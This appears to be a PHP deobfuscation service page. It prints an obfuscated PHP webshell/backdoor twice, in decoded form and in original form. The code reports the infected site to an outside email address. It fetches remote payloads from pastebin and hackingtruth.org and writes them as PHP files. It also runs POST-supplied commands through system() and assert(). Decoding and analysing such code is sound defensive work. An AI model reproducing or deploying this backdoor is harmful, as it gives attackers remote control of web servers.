Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
${"\x47\x4cOBA\x4c\x53"}["\x65\x73\x6f\x6d\x72\x72\x75u"]="\x62\x6ba\x76\x64\x6f\x6e\x65";..
Decoded Output download
${"GLOBALS"}["esomrruu"]="bkavdone";${"GLOBALS"}["evwcouvpn"]="cdx";${"GLOBALS"}["tcvdvxgrtyk"]="elf";${"GLOBALS"}["jcndfxk"]="yes";${"GLOBALS"}["vfjvolbpdbqe"]="open";${"GLOBALS"}["hltlxjwsyk"]="header";${"GLOBALS"}["dhpeybvmm"]="message";${"GLOBALS"}["wuhfwop"]="from_set";${"GLOBALS"}["twyvdn"]="subject";${"GLOBALS"}["lxrwqb"]="to";${"GLOBALS"}["lzflssxnold"]="filename";${"GLOBALS"}["uciqorfogw"]="string";$pksztfemnb="os";${"GLOBALS"}["crujgbjlnx"]="os";error_reporting(0);ini_set("display_errors",0);$xuzfvse="string";${$xuzfvse}=__FILE__;${"GLOBALS"}["cdprbmxbvtc"]="os";if(strtolower(substr(PHP_OS,0,3))=="win")${${"GLOBALS"}["crujgbjlnx"]}="win";else${$pksztfemnb}="nix";if(${${"GLOBALS"}["cdprbmxbvtc"]}=="win"){${"GLOBALS"}["manwjcl"]="string";while((substr(${${"GLOBALS"}["uciqorfogw"]},-1)!="\"))${${"GLOBALS"}["manwjcl"]}=substr_replace(${${"GLOBALS"}["uciqorfogw"]},"",-1);${${"GLOBALS"}["lzflssxnold"]}=${${"GLOBALS"}["uciqorfogw"]}."..\..\uploads\\0.tmp";}else{$fmkgdopkodr="string";${"GLOBALS"}["gdqtwl"]="filename";$xvcwxrbji="string";while((substr(${${"GLOBALS"}["uciqorfogw"]},-1)!="/"))${$fmkgdopkodr}=substr_replace(${$xvcwxrbji},"",-1);${${"GLOBALS"}["gdqtwl"]}=${${"GLOBALS"}["uciqorfogw"]}."../../uploads/0.tmp";}if(file_exists(${${"GLOBALS"}["lzflssxnold"]})){}else{${"GLOBALS"}["cjurrk"]="message";$thjjqyldg="from_set";${"GLOBALS"}["gvkovlrpwis"]="subject";${$thjjqyldg}="metropro@".$_SERVER["SERVER_NAME"];${"GLOBALS"}["knspolcavut"]="header";${${"GLOBALS"}["lxrwqb"]}="[email protected]";${${"GLOBALS"}["twyvdn"]}="Accepted";$qtoatca="sentmail";${${"GLOBALS"}["knspolcavut"]}="from: ".${${"GLOBALS"}["wuhfwop"]};${"GLOBALS"}["zomvjtur"]="sentmail";${${"GLOBALS"}["dhpeybvmm"]}="Link : ".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]."\r\n";${${"GLOBALS"}["dhpeybvmm"]}.="Path : ".__file__;${$qtoatca}=@mail(${${"GLOBALS"}["lxrwqb"]},${${"GLOBALS"}["gvkovlrpwis"]},${${"GLOBALS"}["cjurrk"]},${${"GLOBALS"}["hltlxjwsyk"]});if(${${"GLOBALS"}["zomvjtur"]}==true){$ylcqrosfvmr="filename";${${"GLOBALS"}["vfjvolbpdbqe"]}=fopen(${$ylcqrosfvmr},"w");}else{};}if(isset($_POST["oldmtsfeatures"])){$nontlgxkvlf="open";$ymzxsxu="file";${"GLOBALS"}["uvpgmvqte"]="open";${$ymzxsxu}=file_get_contents("http://pastebin.com/raw/EZqwi397");${"GLOBALS"}["brtfiqi"]="yes";${${"GLOBALS"}["uvpgmvqte"]}=fopen(getcwd()."/wp-mail-sample.php","w");${${"GLOBALS"}["brtfiqi"]}=fwrite(${$nontlgxkvlf},"<?php $file ?>");if(${${"GLOBALS"}["jcndfxk"]}){echo"<br>done";}else echo"SomethingWentWrong";if(isset($_POST["elf"])){$vmxpkgytsevn="elf";${$vmxpkgytsevn}=$_POST["elf"];switch(${${"GLOBALS"}["tcvdvxgrtyk"]}){CASE 1:{$ogbjvwpu="open";$gfbggchgtqt="open";${"GLOBALS"}["ivnllfyz"]="yes";$klnxiplcq="file";${$klnxiplcq}=file_get_contents("http://files.hackingtruth.org/raw/0.txt");${$ogbjvwpu}=fopen(${${"GLOBALS"}["uciqorfogw"]}."themefile1.php","w");${${"GLOBALS"}["ivnllfyz"]}=fwrite(${$gfbggchgtqt},"<?php $file ?>");echo"1 executed";break;}CASE 2:{$hgfokfql="file";${"GLOBALS"}["rqyuxypxvyn"]="string";$wlleedzysmjl="open";${"GLOBALS"}["fjuwhcedka"]="yes";${$hgfokfql}=file_get_contents($_POST["addr"]);$cqbpdyuu="open";${$wlleedzysmjl}=fopen(${${"GLOBALS"}["rqyuxypxvyn"]}.$_POST["filewithext"],"w");${${"GLOBALS"}["fjuwhcedka"]}=fwrite(${$cqbpdyuu},"$file");echo"2 executed";break;}CASE 3:{$dgvletnug="bkavdone";${${"GLOBALS"}["evwcouvpn"]}=$_POST["cdx"];${$dgvletnug}=strrev("metsys");${${"GLOBALS"}["esomrruu"]}(${${"GLOBALS"}["evwcouvpn"]});break;}CASE 4:{call_user_func_array("assert",array($_REQUEST["comnd"]));break;}}}}
?>
Did this file decode correctly?
Original Code
${"\x47\x4cOBA\x4c\x53"}["\x65\x73\x6f\x6d\x72\x72\x75u"]="\x62\x6ba\x76\x64\x6f\x6e\x65";${"G\x4cO\x42A\x4c\x53"}["e\x76\x77c\x6f\x75\x76pn"]="cdx";${"GL\x4f\x42\x41\x4c\x53"}["t\x63\x76\x64\x76x\x67r\x74y\x6b"]="elf";${"GL\x4fB\x41\x4cS"}["j\x63n\x64\x66\x78k"]="y\x65\x73";${"G\x4cO\x42A\x4c\x53"}["\x76f\x6a\x76\x6f\x6cb\x70\x64\x62\x71\x65"]="o\x70\x65\x6e";${"G\x4c\x4f\x42ALS"}["\x68\x6ct\x6cxj\x77s\x79\x6b"]="\x68\x65\x61d\x65\x72";${"\x47LO\x42\x41\x4c\x53"}["d\x68\x70\x65yb\x76\x6d\x6d"]="me\x73s\x61g\x65";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x75h\x66\x77op"]="fr\x6f\x6d\x5f\x73\x65t";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x77y\x76d\x6e"]="\x73u\x62\x6ae\x63\x74";${"GLOB\x41\x4c\x53"}["\x6c\x78rwq\x62"]="t\x6f";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["l\x7a\x66lss\x78no\x6c\x64"]="f\x69\x6c\x65\x6e\x61\x6de";${"\x47\x4c\x4fB\x41\x4cS"}["u\x63\x69q\x6fr\x66\x6fgw"]="\x73\x74rin\x67";$pksztfemnb="\x6f\x73";${"G\x4c\x4f\x42\x41\x4cS"}["\x63\x72\x75jg\x62j\x6cnx"]="o\x73";error_reporting(0);ini_set("di\x73\x70la\x79\x5fer\x72\x6f\x72\x73",0);$xuzfvse="\x73\x74ri\x6e\x67";${$xuzfvse}=__FILE__;${"\x47\x4cOB\x41\x4c\x53"}["\x63\x64pr\x62m\x78b\x76\x74c"]="o\x73";if(strtolower(substr(PHP_OS,0,3))=="\x77i\x6e")${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x63\x72\x75j\x67\x62\x6aln\x78"]}="w\x69\x6e";else${$pksztfemnb}="ni\x78";if(${${"\x47L\x4f\x42\x41LS"}["\x63\x64p\x72\x62\x6d\x78\x62\x76\x74\x63"]}=="w\x69\x6e"){${"\x47LO\x42A\x4c\x53"}["m\x61\x6ewj\x63\x6c"]="st\x72\x69\x6e\x67";while((substr(${${"G\x4c\x4f\x42A\x4c\x53"}["\x75\x63i\x71\x6f\x72fo\x67w"]},-1)!="\x5c"))${${"\x47L\x4f\x42\x41L\x53"}["ma\x6ew\x6a\x63\x6c"]}=substr_replace(${${"GL\x4fB\x41\x4c\x53"}["\x75c\x69\x71\x6f\x72\x66o\x67w"]},"",-1);${${"G\x4c\x4fB\x41LS"}["\x6c\x7a\x66\x6c\x73\x73\x78n\x6f\x6cd"]}=${${"\x47L\x4f\x42A\x4c\x53"}["\x75ci\x71o\x72f\x6f\x67w"]}."..\x5c.\x2e\x5cu\x70l\x6f\x61d\x73\\0.t\x6d\x70";}else{$fmkgdopkodr="\x73\x74\x72\x69ng";${"\x47L\x4f\x42\x41L\x53"}["\x67\x64\x71\x74\x77\x6c"]="\x66\x69\x6c\x65n\x61\x6d\x65";$xvcwxrbji="\x73\x74r\x69\x6e\x67";while((substr(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x75\x63\x69\x71or\x66\x6f\x67w"]},-1)!="/"))${$fmkgdopkodr}=substr_replace(${$xvcwxrbji},"",-1);${${"\x47\x4c\x4f\x42\x41LS"}["\x67\x64\x71\x74\x77\x6c"]}=${${"G\x4c\x4f\x42AL\x53"}["\x75\x63\x69q\x6f\x72f\x6fg\x77"]}.".\x2e/../\x75\x70\x6co\x61\x64s/0\x2et\x6dp";}if(file_exists(${${"\x47\x4c\x4f\x42\x41LS"}["\x6c\x7a\x66\x6c\x73s\x78\x6e\x6f\x6c\x64"]})){}else{${"G\x4c\x4f\x42\x41L\x53"}["cju\x72\x72\x6b"]="\x6d\x65\x73\x73\x61g\x65";$thjjqyldg="fr\x6fm\x5fs\x65\x74";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67v\x6b\x6f\x76\x6cr\x70wi\x73"]="\x73\x75\x62\x6aec\x74";${$thjjqyldg}="me\x74rop\x72\x6f\x40".$_SERVER["\x53E\x52VE\x52\x5f\x4eA\x4d\x45"];${"\x47L\x4f\x42\x41L\x53"}["\x6b\x6e\x73\x70o\x6c\x63\x61\x76\x75t"]="\x68\x65\x61d\x65r";${${"\x47\x4cO\x42A\x4cS"}["\x6c\x78\x72\x77\x71\x62"]}="t\x68\x65\x6d\x65\x73r\x76\x31@\x63s\x74w\x65a\x6b\x73\x2e\x63o\x6d";${${"\x47L\x4fB\x41L\x53"}["t\x77\x79\x76\x64\x6e"]}="Acce\x70\x74\x65\x64";$qtoatca="s\x65n\x74\x6d\x61il";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6b\x6e\x73p\x6f\x6c\x63\x61\x76\x75\x74"]}="\x66\x72o\x6d: ".${${"\x47L\x4f\x42\x41\x4c\x53"}["\x77u\x68\x66\x77\x6f\x70"]};${"\x47\x4cO\x42A\x4c\x53"}["\x7a\x6fmvj\x74\x75\x72"]="\x73\x65\x6etm\x61\x69\x6c";${${"G\x4c\x4f\x42\x41L\x53"}["\x64\x68\x70\x65\x79\x62\x76mm"]}="Lin\x6b :\x20".$_SERVER["SE\x52VE\x52\x5fN\x41ME"].$_SERVER["RE\x51\x55ES\x54_\x55\x52\x49"]."\r\n";${${"G\x4c\x4f\x42\x41LS"}["\x64\x68\x70eybv\x6dm"]}.="Pat\x68 :\x20".__file__;${$qtoatca}=@mail(${${"\x47\x4c\x4fBA\x4c\x53"}["l\x78\x72\x77q\x62"]},${${"GL\x4f\x42A\x4c\x53"}["\x67\x76k\x6f\x76\x6c\x72\x70w\x69\x73"]},${${"\x47\x4cO\x42\x41\x4c\x53"}["c\x6a\x75\x72r\x6b"]},${${"GLOB\x41L\x53"}["\x68l\x74l\x78j\x77s\x79k"]});if(${${"G\x4cO\x42\x41L\x53"}["z\x6fmv\x6at\x75\x72"]}==true){$ylcqrosfvmr="\x66\x69\x6c\x65\x6e\x61m\x65";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x66\x6avo\x6cbp\x64b\x71\x65"]}=fopen(${$ylcqrosfvmr},"w");}else{};}if(isset($_POST["o\x6c\x64mtsf\x65at\x75\x72e\x73"])){$nontlgxkvlf="o\x70\x65\x6e";$ymzxsxu="f\x69l\x65";${"\x47\x4cOB\x41\x4c\x53"}["uv\x70gmvq\x74e"]="\x6f\x70\x65\x6e";${$ymzxsxu}=file_get_contents("h\x74tp://p\x61\x73\x74\x65\x62in\x2eco\x6d/\x72aw/\x45Z\x71wi\x33\x397");${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62\x72\x74f\x69\x71\x69"]="\x79e\x73";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x75vp\x67\x6d\x76\x71\x74e"]}=fopen(getcwd()."/\x77p-\x6da\x69l-s\x61mp\x6ce\x2ep\x68p","w");${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x62\x72\x74fi\x71i"]}=fwrite(${$nontlgxkvlf},"<?\x70\x68p $file\x20?\x3e");if(${${"G\x4cO\x42A\x4c\x53"}["\x6a\x63\x6e\x64\x66\x78\x6b"]}){echo"<\x62\x72\x3ed\x6f\x6e\x65";}else echo"Some\x74\x68\x69\x6eg\x57\x65ntWro\x6e\x67";if(isset($_POST["\x65\x6c\x66"])){$vmxpkgytsevn="\x65\x6c\x66";${$vmxpkgytsevn}=$_POST["e\x6c\x66"];switch(${${"G\x4cO\x42\x41L\x53"}["\x74\x63\x76\x64\x76x\x67\x72\x74y\x6b"]}){CASE 1:{$ogbjvwpu="\x6f\x70\x65n";$gfbggchgtqt="o\x70\x65n";${"\x47\x4c\x4f\x42\x41L\x53"}["\x69\x76\x6el\x6c\x66yz"]="ye\x73";$klnxiplcq="\x66\x69l\x65";${$klnxiplcq}=file_get_contents("htt\x70://\x66i\x6ces\x2eha\x63k\x69n\x67tr\x75\x74h.\x6f\x72g/\x72\x61\x77/\x30.\x74\x78t");${$ogbjvwpu}=fopen(${${"GL\x4f\x42A\x4c\x53"}["\x75ci\x71o\x72f\x6f\x67\x77"]}."\x74h\x65m\x65fi\x6ce\x31\x2e\x70\x68\x70","\x77");${${"\x47LO\x42\x41\x4c\x53"}["\x69v\x6el\x6cf\x79z"]}=fwrite(${$gfbggchgtqt},"<?\x70hp $file ?\x3e");echo"1\x20\x65\x78e\x63\x75t\x65\x64";break;}CASE 2:{$hgfokfql="\x66\x69\x6c\x65";${"GLO\x42A\x4cS"}["\x72\x71yu\x78\x79p\x78\x76\x79n"]="\x73\x74r\x69\x6e\x67";$wlleedzysmjl="\x6f\x70\x65\x6e";${"\x47L\x4f\x42ALS"}["\x66\x6au\x77\x68\x63\x65dk\x61"]="y\x65\x73";${$hgfokfql}=file_get_contents($_POST["a\x64\x64\x72"]);$cqbpdyuu="o\x70\x65\x6e";${$wlleedzysmjl}=fopen(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72\x71y\x75\x78\x79p\x78\x76yn"]}.$_POST["f\x69le\x77\x69t\x68ext"],"w");${${"\x47LO\x42A\x4c\x53"}["f\x6a\x75\x77\x68c\x65\x64k\x61"]}=fwrite(${$cqbpdyuu},"$file");echo"\x32\x20\x65\x78e\x63uted";break;}CASE 3:{$dgvletnug="bk\x61vd\x6fne";${${"\x47L\x4f\x42\x41LS"}["e\x76wc\x6f\x75\x76\x70\x6e"]}=$_POST["\x63\x64\x78"];${$dgvletnug}=strrev("\x6det\x73ys");${${"\x47\x4c\x4fB\x41L\x53"}["e\x73\x6f\x6dr\x72\x75\x75"]}(${${"G\x4cO\x42\x41L\x53"}["e\x76wc\x6fu\x76\x70n"]});break;}CASE 4:{call_user_func_array("asser\x74",array($_REQUEST["\x63o\x6dn\x64"]));break;}}}}
?>
Function Calls
| None |
Stats
| MD5 | 9a79b6bcdf8f5cd9d6db3068fdd67215 |
| Eval Count | 0 |
| Decode Time | 73 ms |